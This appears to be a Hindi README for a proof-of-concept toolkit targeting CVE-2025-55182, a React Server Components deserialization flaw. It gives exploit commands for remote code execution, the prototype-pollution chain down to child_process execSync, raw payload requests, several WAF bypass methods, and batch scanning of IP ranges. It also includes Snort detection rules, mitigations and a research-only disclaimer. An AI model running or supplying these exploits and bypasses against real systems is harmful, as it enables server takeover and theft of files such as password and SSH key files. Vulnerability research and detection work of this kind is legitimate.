
CVE-2025-55182-POC
React Server Components (RSC) असुरक्षित डिसीरियलाइज़ेशन कमजोरी शोषण और पता लगाने के उपकरण संग्रह
docker-compose.yml - Next.js 15.0.3 + React 19.0.0-rcvulnerable-app/ - कमजोर Server Action कोडexploit_advanced.py - बहु-हमला तकनीक समर्थन (Basic/Advanced/Chunked/Oversize)rsc_vulnerability_checker_multi.py - मल्टी-टारगेट भेद्यता निदान उपकरणrules_priority_based - Snort प्राथमिकता-आधारित पहचान नियम सेटcd vulnerable-app
docker-compose up -d
# http://localhost:3000 तक पहुंच की पुष्टि करें
# एकल URL परीक्षण
python3 rsc_vulnerability_checker_multi.py http://localhost:3000
# एकाधिक URL बैच स्कैन
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# IP रेंज स्कैन
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.1-254 -p 3000 --threads 20
# फ़ाइल से पढ़ें
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o results.csv
# मूल हमला
python3 exploit_advanced.py -u http://localhost:3000 -c "whoami" --basic
# उन्नत हमला (प्रोटोटाइप चेन + thenable)
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --advanced
# WAF बाईपास - Unicode एन्कोडिंग
python3 exploit_advanced.py -u http://target.com -c "cat /etc/passwd" --advanced --waf-bypass
# WAF बाईपास - Chunked Transfer Encoding
python3 exploit_advanced.py -u http://target.com -c "uname -a" --chunked
# WAF बाईपास - Oversize Payload (AWS WAF)
python3 exploit_advanced.py -u http://target.com -c "id" --oversize 65536
# सभी तकनीकों को क्रमिक रूप से आज़माएं
python3 exploit_advanced.py -u http://target.com -c "whoami" --all -v
# हमले के ट्रैफ़िक को कैप्चर करें
sudo tcpdump -i lo0 -w attack.pcap 'port 3000' &
python3 exploit_advanced.py -u http://localhost:3000 -c "id" --all
sudo pkill tcpdump
# Snort के साथ विश्लेषण
snort -c snort.conf -r attack.pcap -A console -k none
सीधे RSC Flight पेलोड भेजें
# Server Action को सीधे कॉल करें
POST /?__rsc_action__ HTTP/1.1
Content-Type: text/plain
next-action: <action_id>
["$@1",["$","$L2",null,{...}]]
प्रोटोटाइप प्रदूषण (Prototype Pollution) का उपयोग कर RCE
// मूल सिद्धांत
{
"then": "$1:__proto__:then", // Chunk.prototype.then ट्रिगर करें
"_response": { // नकली प्रतिक्रिया इंजेक्ट करें
"_formData": {...},
"_prefix": ""
},
"$1:constructor:constructor": Function // Function कंस्ट्रक्टर तक पहुंच
}
हमला श्रृंखला:
__proto__ प्रदूषण के माध्यम से Chunk.prototype.then सेट करें_response ऑब्जेक्ट इंजेक्ट करके FormData को नियंत्रित करें$B हैंडलर response._formData.get(id) को कॉल करेंconstructor:constructor श्रृंखला के माध्यम से Function तक पहुंचेंprocess.mainModule.require('child_process').execSync(cmd) निष्पादित करेंTransfer-Encoding का उपयोग कर पैटर्न को फैलाना
POST /?__rsc_action__ HTTP/1.1
Transfer-Encoding: chunked
10
["$@1",["$","
15
$L2",null,{"then
...
AWS WAF आकार सीमा को बायपास करें
payload = original_payload + "X" * (size - len(original_payload))
# AWS WAF: केवल पहले 8KB की जांच करता है
# वास्तविक हमला कोड 8KB के बाद रखें
process.mainModule.require + child_process + execSync__proto__ + resolved_model + RCE मॉड्यूल/etc/passwd, /etc/shadow, .ssh/id_rsa तक पहुंचrequests लाइब्रेरी
pip install requests
# एकल URL
python3 rsc_vulnerability_checker_multi.py http://target.com
# एकाधिक URL
python3 rsc_vulnerability_checker_multi.py http://site1.com http://site2.com
# IP रेंज स्कैन (CIDR)
python3 rsc_vulnerability_checker_multi.py -r 192.168.1.0/24 -p 3000
# IP रेंज स्कैन (हाइफ़न)
python3 rsc_vulnerability_checker_multi.py -r 10.0.0.1-254 -p 8080 --threads 50
# फ़ाइल इनपुट/आउटपुट
python3 rsc_vulnerability_checker_multi.py -f targets.txt -o scan_results.csv
# Verbose मोड
python3 rsc_vulnerability_checker_multi.py http://target.com -v
[VULNERABLE] http://target.com:3000 - React 19.0.0-rc, Next.js 15.0.3
[SAFE] http://example.com:3000 - असुरक्षित नहीं
[ERROR] http://offline.com:3000 - कनेक्शन टाइमआउट
--basic: सीधे RSC Flight पेलोड भेजें--advanced: प्रोटोटाइप चेन + thenable तकनीक--chunked: Transfer-Encoding विभाजन भेजें--oversize <size>: Oversize पेलोड (डिफ़ॉल्ट: 65536 बाइट्स)--all: सभी तकनीकों को क्रमिक रूप से आज़माएं--waf-bypass: Unicode एन्कोडिंग (constructor → \u0063onstructor)--chunked: पैटर्न फैलाव व्यवस्था--oversize: AWS WAF आकार सीमा बाईपास-v, --verbose: विस्तृत आउटपुट-t, --timeout: अनुरोध टाइमआउट (डिफ़ॉल्ट: 10 सेकंड)experimental सुविधाओं को निष्क्रिय करेंrules_priority_based)__proto__ कीवर्ड को ब्लॉक करेंprocess.mainModule.require पैटर्न को ब्लॉक करें# Snort रीयल-टाइम निगरानी
snort -c snort.conf -i eth0 -A console
# लॉग फ़ाइल विश्लेषण
snort -c snort.conf -r network.pcap -A fast
यह पोस्ट केवल अनुसंधान/शिक्षा/निदान सत्यापन उद्देश्यों के लिए है, अन्यथा इसका उपयोग न करें।